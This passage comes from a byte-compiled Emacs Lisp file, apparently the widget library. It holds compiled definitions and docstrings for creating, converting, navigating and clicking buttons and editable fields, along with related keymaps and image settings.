type"])(#$ . 15444) nil 7 (#$ . 15245)]) #@110 Get the item WIDGET is assumed to toggle. This is only meaningful for radio buttons or checkboxes in a list. (defalias 'widget-get-sibling #[(widget) #@246 ("\303\211\304\"\305\"\306\302\307\215*\207" . [widget children child widget-get :parent :children nil (byte-code "\2030@A\303 \304\"\n=\20300\305\301 \"\210\20200\306\207" [children child widget widget-get :button throw nil] 3)])(#$ . 15883) nil 4 (#$ . 15726)]) #@237 Map FUNCTION over the buttons in BUFFER. FUNCTION is called with the arguments WIDGET and MAPARG. If FUNCTION returns non-nil, the walk is cancelled. The arguments MAPARG, and BUFFER default to nil and (current-buffer), respectively. (defalias 'widget-map-buttons #[(function &optional buffer maparg) #@227 ("e\306\2030rq\210\307 )\2020\307 \310 @ A\" \211A@\211\205<0\311\312\"\211\2030\f\n \"\2030\306\211\2020+\207" . [buffer overlays widget cur function maparg nil overlay-lists append overlay-get button])(#$ . 16478) nil 4 (#$ . 16168)]) #@121 Where widget button images are located. If this variable is nil, widget will try to locate the directory automatically. (custom-declare-variable 'widget-image-directory '(file-name-as-directory (expand-file-name "images/custom" data-directory)) '(#$ . 16744) :group 'widgets :type 'directory) #@58 If non-nil, use image buttons in widgets when available. (custom-declare-variable 'widget-image-enable 't '(#$ . 17043) :version "21.1" :group 'widgets :type 'boolean) #@60 Conversion alist from image formats to file name suffixes. (custom-declare-variable 'widget-image-conversion ''((xpm ".xpm") (gif ".gif") (png ".png") (jpeg ".jpg" ".jpeg") (xbm ".xbm")) '(#$ . 17217) :group 'widgets :type '(repeat (cons :format "%v" (symbol :tag "Image Format" unknown) (repeat :tag "Suffixes" (string :format "%v"))))) #@224 Create a graphical button from IMAGE. IMAGE should either already be an image, or be a file name sans extension (xpm, xbm, gif, jpg, or png) located in `widget-image-directory' or otherwise where `find-image' will find it. (defalias 'widget-image-find #[(image) #@394 ("\203 0 \203 0\306 \2040\307\207:\2030@\300=\2030\207;\203p0\nB\307 \307\211\f\203g0\f@\211A\307 \211\f\203]0\f@ \310@\311 PF\fB\fA\211\f\204B0*\fA\211\f\20420*\f\237\312\f!*\207\307\207" . [image widget-image-enable widget-image-directory load-path specs widget-image-conversion display-graphic-p nil :type :file find-image elt --dolist-tail-- ext])(#$ . 17831) nil 6 (#$ . 17562)]) #@114 Face used for pressed buttons in widgets. This exists as a variable so it can be set locally in certain buffers. (defvar widget-button-pressed-face 'widget-button-pressed (#$ . 18264)) #@340 In WIDGET, insert the text TAG or, if supported, IMAGE. IMAGE should either be an image or an image file name sans extension (xpm, xbm, gif, jpg, or png) located in `widget-image-directory'. Optional arguments DOWN and INACTIVE are used instead of IMAGE when the button is pressed or inactive, respectively. These are currently ignored. (defalias 'widget-image-insert #[(widget tag image &optional down inactive) #@172 ("\303 \2030\304!\211\2030\305 \306\307#\210\310\n\"\207\nc\207" . [image widget tag display-graphic-p widget-image-find widget-put :suppress-face t insert-image])(#$ . 18878) nil 4 (#$ . 18456)]) #@67 Move to where you click, and if it is an active field, invoke it. (defalias 'widget-move-and-invoke #[(event) #@157 ("\302!\210\303!\211\2050\304 \305\"\2050\306!)\207" . [event pos mouse-set-point widget-event-point get-char-property button widget-button-click])(#$ . 19205) nil 4 (#$ . 19088) "e"]) (custom-declare-group 'widget-button nil "The look of various kinds of buttons." :group 'widgets) #@36 String used as prefix for buttons. (custom-declare-variable 'widget-button-prefix '"" '(#$ . 19502) :type 'string :group 'widget-button) #@36 String used as suffix for buttons. (custom-declare-variable 'widget-button-suffix '"" '(#$ . 19645) :type 'string :group 'widget-button) #@76 Create widget of TYPE. The optional ARGS are additional keyword arguments. (defalias 'widget-create #[(type &rest args) #@104 ("\303\304 #\305\n\306\"\210\n)\207" . [type args widget apply widget-convert widget-apply :create])(#$ . 19915) nil 4 (#$ . 19788)]) #@117 As part of the widget PARENT, create a child widget TYPE. The child is converted, using the keyword arguments ARGS. (defalias 'widget-create-child-and-convert #[(parent type &rest args) #@287 ("\304\305 #\306\n\307#\210\310\n\311\"\204.0\306\n\311\312\310\311\"\206_0\313\310\n\314\"\206'0\313\310\315\"##\210\316\n\317\"\210\n)\207" . [type args widget parent apply widget-convert widget-put :parent widget-get :indent + 0 :extra-offset :offset widget-apply :create])(#$ . 20251) nil 9 (#$ . 20058)]) #@24 Create widget of TYPE. (defalias 'widget-create-child #[(parent type) #@264 ("\303!\304 \305\n#\210\306 \307\"\204,0\304 \307\310\306\n\307\"\2060\311\306 \312\"\206%0\311\306\n\313\"##\210\314 \315\"\210 )\207" . [type widget parent widget-copy widget-put :parent widget-get :indent + 0 :extra-offset :offset widget-apply :create])(#$ . 20653) nil 9 (#$ . 20576)]) #@41 Create widget of TYPE with value VALUE. (defalias 'widget-create-child-value #[(parent type value) #@319 ("\304!\305 \306\307 \310\n##\210\305 \311#\210\312 \313\"\20460\305 \313\314\312\313\"\206'0\315\312 \316\"\206/0\315\312\317\"##\210\307 \320\"\210 )\207" . [type widget value parent widget-copy widget-put :value widget-apply :value-to-internal :parent widget-get :indent + 0 :extra-offset :offset :create])(#$ . 21061) nil 9 (#$ . 20955)]) #@16 Delete WIDGET. (defalias 'widget-delete #[(widget) #@53 ("\301\302\"\207" . [widget widget-apply :delete])(#$ . 21475) nil 3 (#$ . 21418)]) #@29 Make a deep copy of WIDGET. (defalias 'widget-copy #[(widget) #@70 ("\301\302!\303\"\207" . [widget widget-apply copy-sequence :copy])(#$ . 21634) nil 3 (#$ . 21566)]) #@114 Convert TYPE to a widget without inserting it in the buffer. The optional ARGS are additional keyword arguments. (defalias 'widget-convert #[(type &rest args) #@747 ("9\203\n0C\202 0\306!\211\307\f\nA\203V0\310\n\211A@)!\203I0\n\211AA)\203I0\n\211A@)\311=\203A0\307\211\2020\nAA\211\2020\n\311\nAD\241\210\307\211\2020\f\203\2120\204\2120\f@\311=\203r0\f\211A@)\312\202V0\310\f@!\203\2050\f\211AA)\211\202W0\312\202V0\203\2240\313 \311\f#\210 \211\203\2640\314A\315\"\211\203\2520 !)@\316N\211\204\2320 \203\3310 @\310!\203\3230\313 A@#\210 AA\202\3250\307)\202\2640\317 \320\"\203\3550\313 \320\321 \322\323 \320\"##\210 ,\207" . [type widget current done args keys copy-sequence nil keywordp :args t widget-put plist-get :convert-widget widget-type widget-member :value widget-apply :value-to-internal widget-get x convert-widget next])(#$ . 21909) nil 10 (#$ . 21743)]) #@64 Call `insert' with ARGS even if surrounding text is read only. (defalias 'widget-insert #[(&rest args) #@102 ("\303\211\304\305\n\"*\207" . [inhibit-modification-hooks inhibit-read-only args t apply insert])(#$ . 22805) nil 3 (#$ . 22695)]) #@335 Return a widget of type TYPE with endpoint FROM TO. No text will be inserted to the buffer, instead the text between FROM and TO will be used as the widgets end points. If optional arguments BUTTON-FROM and BUTTON-TO are given, these will be used as the widgets button end points. Optional ARGS are extra keyword arguments for TYPE. (defalias 'widget-convert-text #[(type from to &optional button-from button-to &rest args) #@319 ("\306\307\310\311 %\312\n!\312!\313\n\314\"\210\313\315\"\210\316\f\317\n#\210\316\f\320#\210 \20310\321\f #\210\f+\207" . [type args from to widget button-from apply widget-convert :delete widget-leave-text copy-marker set-marker-insertion-type t nil widget-put :from :to widget-specify-button button-to])(#$ . 23378) nil 6 (#$ . 22946)]) #@264 Return a widget of type TYPE with endpoint FROM TO. Optional ARGS are extra keyword arguments for TYPE. No text will be inserted to the buffer, instead the text between FROM and TO will be used as the widgets end points, as well as the widgets button end points. (defalias 'widget-convert-button #[(type from to &rest args) #@76 ("\304\305 \n \n&\207" . [type from to args apply widget-convert-text])(#$ . 24066) nil 8 (#$ . 23736)]) #@59 Remove markers and overlays from WIDGET and its children. (defalias 'widget-leave-text #[(widget) #@378 ("\305\306\"\305\307\"\305\310\"\305\311\"\305\312\"\313\211\223\210\305\314\"\313\211\223\210\f\203,0\315\f!\210\20340\315!\210\n\203<0\315\n!\210 \203D0\315 !\210\316\317\305\320\"\",\207" . [widget field doc sample button widget-get :button-overlay :sample-overlay :doc-overlay :field-overlay :from nil :to delete-overlay mapc widget-leave-text :children])(#$ . 24285) nil 6 (#$ . 24180)]) (defalias 'advertised-widget-backward 'widget-backward) #@122 Keymap containing useful binding for buffers containing widgets. Recommended as a parent keymap for modes using widgets. (defvar widget-keymap (byte-code "\301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\306#\210\302\312\313#\210\302\314\313#\210\302\315\316#\210)\207" [map make-sparse-keymap define-key " " widget-forward " " widget-backward [(shift tab)] advertised-widget-backward [backtab] [down-mouse-2] widget-button-click [down-mouse-1] [(control 109)] widget-button-press] 4) (#$ . 24758)) #@57 Keymap used for events a widget does not handle itself. (defvar widget-global-map global-map (#$ . 25289)) (make-variable-buffer-local 'widget-global-map) #@39 Keymap used inside an editable field. (defvar widget-field-keymap (byte-code "\302!\303 \304\305#\210\303 \306\307#\210\303 \310\311#\210\303 \312\313#\210 )\207" [widget-keymap map copy-keymap define-key "" widget-kill-line "\211" widget-complete " " widget-field-activate "" widget-end-of-line] 4) (#$ . 25450)) #@34 Keymap used inside a text field. (defvar widget-text-keymap (byte-code "\302!\303 \304\305#\210 )\207" [widget-keymap map copy-keymap define-key "" widget-end-of-line] 4) (#$ . 25774)) #@37 Invoke the editable field at point. (defalias 'widget-field-activate #[(pos &optional event) #@184 ("\304!\211\2030\305 \n\"\2020\306\307\310 \"!)\207" . [pos field event widget-global-map widget-field-at widget-apply-action call-interactively lookup-key this-command-keys])(#$ . 26068) nil 5 (#$ . 25968) "@d"]) (byte-code "\300\301\302\303\304\305%\210\306\307\310\301#\207" [custom-declare-face widget-button-pressed ((((min-colors 88) (class color)) (:foreground "red1")) (((class color)) (:foreground "red")) (t (:weight bold :underline t))) "Face used for pressed buttons." :group widget-faces put widget-button-pressed-face face-alias] 6) #@150 If non-nil, `widget-button-click' moves point to a button after invoking it. If nil, point returns to its original position after invoking a button. (defvar widget-button-click-moves-point nil (#$ . 26629)) #@50 Invoke the button that the mouse is pointing at. (defalias 'widget-button-click #[(event) #@2561 ("\306!\203\2470\307!\310>\306!\211:\203_0A@\202%0\311 `\312\313F)\314\315\316\f\211@)!\205;0\317\f\211@)!# \320 \203L0\321\322\215\205\2440\323\320_ \n\203q0\324!\325\"\211_\203g0\320 \202\2110\324!\326\"_\202\2110\324!\327\"\211_\203\2020\320 \202\2110\324!\330\"_ \203\2320\331!\204\2320\332 \202\2160_\205\2430\333_!*.\207\334\335!\207" . [event oevent mouse-1 pos start position widget-event-point event-basic-type (mouse-1 down-mouse-1) selected-window #1=(0 . 0) 0 get-char-property button windowp window-buffer nil button-press-cancelled (byte-code "\306 \307\310\311 \"r\312\216\313\n\211:\2030\nA@\202 0\306 `\314\315F)\211@)!\210\212\n\211:\20350\nA@\202;0\306 `\314\315F)\3168\206T0A@:\203Q0A@@\202T0A@)b\210\317\f\320\"\317\f\321\"\206e0%&\322 \323\"\322 \324\"\325\216\212\203\2110\326 \323&#\210\326 \324&#\210\327\f\330\n#\204 \331'\332\n!\204\333 (\203\2730\n\211)\242)\334=\203\2730\n*B*+\335\336\331\"\210\n\250\204\2240\n@\337>\204\2240\n@\340=\204\2240\341\n!\211,\203\3670\342,\304\"\f=\203\3670\203\2240\326 \323&#\210\326 \324&#\210\202\2240\326 \323#\210\326 \324#\210\202\2240),\203)\342,\304\"\f=\203),b\210\343\f\n\"\210-\203)`...\2034.b\210,\344\207" [save-selected-window-alist save-selected-window-window event position button overlay selected-window mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203(0\n@\305 @!\203!0\306 A!\203!0\307 @ A\310#\210\nA\211\2040*\306!\20340\311\310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window #1# 0 5 widget-get :button-overlay :pressed-face overlay-get face mouse-face ((byte-code "\303\301 #\210\303\302\n#\207" [overlay face mouse-face overlay-put] 4)) overlay-put widget-apply :mouse-down-action t widget-button-release-event-p read-event mouse-movement throw button-press-cancelled (switch-frame select-window) scroll-bar-movement widget-event-point get-char-property widget-apply-action nil widget-button-pressed-face pressed-face track-mouse mouse-1 object unread-command-events oevent pos widget-button-click-moves-point newpoint] 6) t lookup-key [down-mouse-1] [mouse-1] [down-mouse-2] [mouse-2] widget-button-release-event-p read-event call-interactively message "You clicked somewhere weird." newpoint command up widget-global-map])(#$ . 26940) nil 6 (#$ . 26842) "e"]) #@23 Invoke button at POS. (defalias 'widget-button-press #[(pos &optional event) #@228 ("\305\301\"\211\2030\306 \n\"\202 0\307\310 \"\311\f!\205_0\312\f!))\207" . [pos button event widget-global-map command get-char-property widget-apply-action lookup-key this-command-keys commandp call-interactively])(#$ . 29627) nil 4 (#$ . 29543) "@d"]) #@81 Return the tabable widget at POS, or nil. POS defaults to the value of (point). (defalias 'widget-tabable-at #[(&optional pos) #@131 ("\303!\211\2050\304 \305\"\211\2030\n\306Y\2050 \2020 ))\207" . [pos widget order widget-at widget-get :tab-order 0])(#$ . 30032) nil 4 (#$ . 29898)]) #@134 If non-nil, use overlay change functions to tab around in the buffer. This is much faster, but doesn't work reliably on Emacs 19.34. (defvar widget-use-overlay-change t (#$ . 30202)) #@83 Move point to the ARG next field or button. ARG may be negative to move backward. (defalias 'widget-move #[(arg) #@651 ("o\204 0\306V\204 0\307u\210\306\310 \306V\203\\0m\203'0eb\210T\20260\f\20330\311`!b\210\20260\312u\210\313U\203F0\n=\203F0\314\315!\210\310 \211\203X0 =\204X0S )\2020\306W\203\2420o\203o0db\210T\202~0\f\203{0\316`!b\210\202~0\307u\210\313U\203\2160\n=\203\2160\314\315!\210\310 \211\203\2360 =\204\2360T)\202\\0\310 \310 =\203\2620\307u\210\202\2450)\317u\210+\320`!\210\321\322!\207" . [arg old number wrapped widget-use-overlay-change new 0 -1 widget-tabable-at next-overlay-change 1 2 error "No buttons or fields found" previous-overlay-change nil widget-echo-help run-hooks widget-move-hook])(#$ . 30511) nil 4 (#$ . 30391)]) #@90 Move point to the next field or button. With optional ARG, move across that many fields. (defalias 'widget-forward #[(arg) #@79 ("\301\302!\210\303!\207" . [arg run-hooks widget-forward-hook widget-move])(#$ . 31329) nil 2 (#$ . 31200) "p"]) #@94 Move point to the previous field or button. With optional ARG, move across that many fields. (defalias 'widget-backward #[(arg) #@81 ("\301\302!\210\303[!\207" . [arg run-hooks widget-backward-hook widget-move])(#$ . 31584) nil 2 (#$ . 31450) "p"]) (defalias 'widget-beginning-of-line 'beginning-of-line) #@138 Go to end of field or end of line, whichever is first. Trailing spaces at the end of padded fields are not considered part of the field. (defalias 'widget-end-of-line #[nil #@68 ("\300\210l?\2050\301\302`S!x\207" . [nil " " field-beginning])(#$ . 31943) nil 3 (#$ . 31764) nil]) #@58 Kill to end of field or end of line, whichever is first. (defalias 'widget-kill-line #[nil #@205 ("\302`!\211\2050\303!\203_0\304\305! V\203_0\306` \"\202\"0\307\310!*\207" . [field end widget-field-find widget-field-end line-beginning-position 2 kill-region call-interactively kill-line])(#$ . 32151) nil 4 (#$ . 32053) nil]) #@56 Default function to call for completion inside fields. (custom-declare-variable 'widget-complete-field '(lookup-key global-map "\211") '(#$ . 32398) :options '(ispell-complete-word complete-tag lisp-complete-symbol) :type 'function :group 'widgets) #@18 Narrow to field. (defalias 'widget-narrow-to-field #[nil #@110 ("\301`!\211\205 0\302 \303 })\207" . [field widget-field-find line-beginning-position line-end-position])(#$ . 32717) nil 3 (#$ . 32653) nil]) #@111 Complete content of editable field from point. When not inside a field, move to the previous button or field. (defalias 'widget-complete #[nil #@177 ("\301`!\211\2030\214\302 \210\303\304\")\2020\305\306!)\207" . [field widget-field-find widget-narrow-to-field widget-apply :complete error "Not in an editable field"])(#$ . 33020) nil 4 (#$ . 32870) nil]) #@58 List of all newly created editable fields in the buffer. (defvar widget-field-new nil (#$ . 33239)) (make-variable-buffer-local 'widget-field-new) #@44 List of all editable fields in the buffer. (defvar widget-field-list nil (#$ . 33392)) (make-variable-buffer-local 'widget-field-list) #@46 The button or field at POS (default, point). (defalias 'widget-at #[(&optional pos) #@91 ("\301\2060`\302\"\2060\303!\207" . [pos get-char-property button widget-field-at])(#$ . 33623) nil 3 (#$ . 33533)]) #@55 Setup current buffer so editing string widgets works. (defalias 'widget-setup #[nil #@355 ("\306\211\307\203;0@A\fB\310\311\"@\310\311\"A\312\313!\313 !#\210\307\211\223\210 \307\211\223\210*\2020+\314 \210\315 \207" . [field inhibit-modification-hooks inhibit-read-only widget-field-new widget-field-list to t nil widget-get :field-overlay widget-specify-field marker-position widget-clear-undo widget-add-change from])(#$ . 33843) nil 5 (#$ . 33752)]) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305\301!\210\306B\302\306!\204\"